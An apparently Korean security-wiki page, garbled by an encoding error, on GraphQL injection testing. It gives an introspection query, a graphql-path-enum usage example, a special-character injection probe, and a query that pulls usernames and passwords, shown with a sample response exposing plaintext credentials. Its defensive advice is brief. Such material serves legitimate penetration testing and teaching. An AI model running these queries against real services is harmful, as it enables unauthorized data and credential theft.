GraphQL Injection

๐Ÿ” Introduction

GraphQL Injection์€ GraphQL์„ ์‚ฌ์šฉํ•˜๋Š” ํ™˜๊ฒฝ์—์„œ์˜ Injection ๊ณต๊ฒฉ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. GraphQL ํŠน์„ฑ ์ƒ ์‚ฌ์šฉ์ž๊ฐ€ ์š”์ฒญํ•œ Query๋Š” ํ•˜๋‚˜์˜ ์„œ๋ฒ„ ๋˜๋Š” ๋ณต์ˆ˜์˜ ์„œ๋ฒ„์—์„œ ์ฒ˜๋ฆฌ๋˜์–ด ๊ฒฐ๊ณผ๋ฅผ ๋ฆฌํ„ดํ•˜๊ธฐ ๋–„๋ฌธ์— ๋‹จ์ˆœํžˆ GraphQL ๋งŒ์˜ ๋ฌธ์ œ๊ฐ€ ์•„๋‹Œ SQL Injection์ด๋‚˜ XXE ๋“ฑ ๋‹ค๋ฅธ ์ทจ์•ฝ์ ์œผ๋กœ ์—ฐ๊ฒฐ๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค.

๊ทธ๋ž˜์„œ ์ข์€ ์˜๋ฏธ๋กœ๋Š” GraphQL ์ž์ฒด ์ฆ‰, Scheme๊ณผ Query ๊ฐ„์—์„œ ๋ฐœ์ƒํ•˜๋Š” ๊ณต๊ฒฉ์„ ์˜๋ฏธํ•˜๊ณ , ๋„“๊ฒŒ๋Š” ๋ฐฑ์—”๋“œ์—์„œ์˜ ์ฒ˜๋ฆฌ ๋ฌธ์ œ๋กœ ์ธํ•œ ๋ถ€๋ถ„(SQLi, XXE ๋“ฑ)๋„ ํฌํ•จ๋˜๊ธฐ๋„ ํ•ฉ๋‹ˆ๋‹ค.

GraphQL์— ๋Œ€ํ•œ ์ „๋ฐ˜์ ์ธ ๋ณด์•ˆ ๊ด€๋ จ ๋‚ด์šฉ์€ โ€œCullinan > GraphQL Securityโ€ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

๐Ÿ—ก Offensive techniques

Detect

์„œ๋น„์Šค์—์„œ GraphQL์„ ์‚ฌ์šฉํ•˜๋Š” ๋ถ€๋ถ„์€ ๋ชจ๋‘ ํ…Œ์ŠคํŒ… ํฌ์ธํŠธ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ๋ณดํŽธ์ ์œผ๋กœ /graphql ๋“ฑ์˜ ๊ฒฝ๋กœ๋ฅผ ๋งŽ์ด ์‚ฌ์šฉํ•˜๋ฉฐ, ํ•ด๋‹น ๊ฒฝ๋กœ๊ฐ€ ์•„๋‹ˆ๋”๋ผ๋„ query๋ฅผ ํฌํ•จํ•œ ๊ฒฝ์šฐ GrphQL ์„œ๋น„์Šค๋กœ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

GraphQL์˜ Endpoint๋ฅผ ์ฐพ์•˜๋‹ค๋ฉด Schema, Query ์˜์—ญ์— ํŠน์ˆ˜๋ฌธ์ž ๋“ฑ์„ ํ†ตํ•ด ์˜๋„๋˜์ง€ ์•Š์€ ๋™์ž‘์ด๋‚˜ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•˜๋„๋ก ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.

Exploitation

Enum via Introspection Query

Introspection Query๋Š” GraphQL์—์„œ ์Šคํ‚ค๋งˆ์™€ ์ฟผ๋ฆฌ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์งˆ์˜ํ•  ์ˆ˜ ์žˆ๋„๋ก ์ œ๊ณตํ•˜๋Š” ์ฟผ๋ฆฌ์ž…๋‹ˆ๋‹ค. __schema๋ฅผ ์ด์šฉํ•œ ์ฟผ๋ฆฌ ๊ธฐ๋ฒ•์ด๊ณ  GraphQL ์ „์ฒด ๊ตฌ์กฐ๋ฅผ ์งˆ์˜ํ•  ์ˆ˜ ์žˆ๋„๋ก ์ฟผ๋ฆฌ๋ฅผ ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

query IntrospectionQuery {
      __schema {
        
        queryType { name }
        mutationType { name }
        subscriptionType { name }
        types {
          ...FullType
        }
        directives {
          name
          description
          
          locations
          args {
            ...InputValue
          }
        }
      }
    }

    fragment FullType on __Type {
      kind
      name
      description
      
      fields(includeDeprecated: true) {
        name
        description
        args {
          ...InputValue
        }
        type {
          ...TypeRef
        }
        isDeprecated
        deprecationReason
      }
      inputFields {
        ...InputValue
      }
      interfaces {
        ...TypeRef
      }
      enumValues(includeDeprecated: true) {
        name
        description
        isDeprecated
        deprecationReason
      }
      possibleTypes {
        ...TypeRef
      }
    }

    fragment InputValue on __InputValue {
      name
      description
      type { ...TypeRef }
      defaultValue
      
      
    }

    fragment TypeRef on __Type {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
                ofType {
                  kind
                  name
                  ofType {
                    kind
                    name
                  }
                }
              }
            }
          }
        }
      }
    }

๋ณดํ†ต ์œ„์˜ ์ฟผ๋ฆฌ๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ฒฐ๊ณผ๋ฅผ ๋ฝ‘์•„๋‚ธ ํ›„ ์•„๋ž˜ GraphQL Voyager๋กœ ๊ตฌ์„ฑ๋„๋ฅผ ๊ทธ๋ ค์„œ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

CHANGE SCHEMA > INTROSPECTION > ๊ฒฐ๊ณผ ๋ถ™์—ฌ๋„ฃ๊ธฐ > DISPLAY

Enum via graphql-path-enum

# Clone graphql-path-enum
git clone https://gitlab.com/dee-see/graphql-path-enum
cd graphql-path-enum

# Run
graphql-path-enum -i ./test_data/h1_introspection.json -t Skill

Result

Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (assignable_teams) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
- Query (checklist_check_response) -> ChecklistCheckResponse (checklist_check) -> ChecklistCheck (checklist) -> Checklist (team) -> Team (audit_log_items) -> AuditLogItem (source_user) -> User (pentester_profile) -> PentesterProfile (skills) -> Skill
....

Check Injection

GraphQL์— ๋ถ™์–ด์žˆ๋Š” API๋“ค์ด ์–ด๋–ค ๋ฐ์ดํ„ฐ๋ฅผ ์–ด๋–ป๊ฒŒ ๊ฐ€๊ณตํ•˜๋Š”์ง€ ์•Œ ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— GraphQL์˜ ๊ตฌ์กฐ๋ฅผ ์ตœ๋Œ€ํ•œ ํŒŒ์•…ํ•œ ํ›„ ๊ธฐ๋Šฅ๋ณ„๋กœ ์ฟผ๋ฆฌ๋ฅผ ์ง„ํ–‰ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ๋‹จ์ˆœํ•˜๊ฒŒ๋Š” Key/Value ๋‚ด ํŠน์ˆ˜๋ฌธ์ž๋‚˜ ์„œ๋น„์Šค์—์„œ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฐ’๋“ค์„ ์œ„์ฃผ๋กœ ์ „์†กํ•˜์—ฌ Response๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

GET https://blahblah/graphql?query={wor'">k}

Query to sensitive info

GET https://blahblah/graphql?query={user{username,password}}

Response

200 OK

{
  "data": {
    "user": [
      {
        "password": "1234",
        "username": "admin"
      },
      {
        "password": "bhbghyuyg",
        "username": "user2"
      },
      {
        "password": "hiuoij",
        "username": "user1"
      }
    ]
  }
}

๐Ÿ›ก Defensive techniques

GraphQL Injection ๋˜ํ•œ ๋‹ค๋ฅธ Injection ๊ณต๊ฒฉ๊ณผ ๊ฐ™์ด ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ฐ’์— ๋Œ€ํ•œ ๊ฒ€์ฆ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ GraphQL์„ ํ†ตํ•ด ์ƒ๊ฐ๋ณด๋‹ค ๋งŽ์€ ์ •๋ณด์— ์ ‘๊ทผํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ๊ธฐ ๋–„๋ฌธ์— ์„ค๊ณ„ ๋‹จ๊ณ„์—์„œ ๋ฐ์ดํ„ฐ, ๊ถŒํ•œ ๋“ฑ์— ๋Œ€ํ•œ ๊ณ ๋ฏผ๊ณผ ๋ณดํ˜ธ ๋กœ์ง์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

๐Ÿ•น Tools

๐Ÿ“š Articles

๐Ÿ“Œ References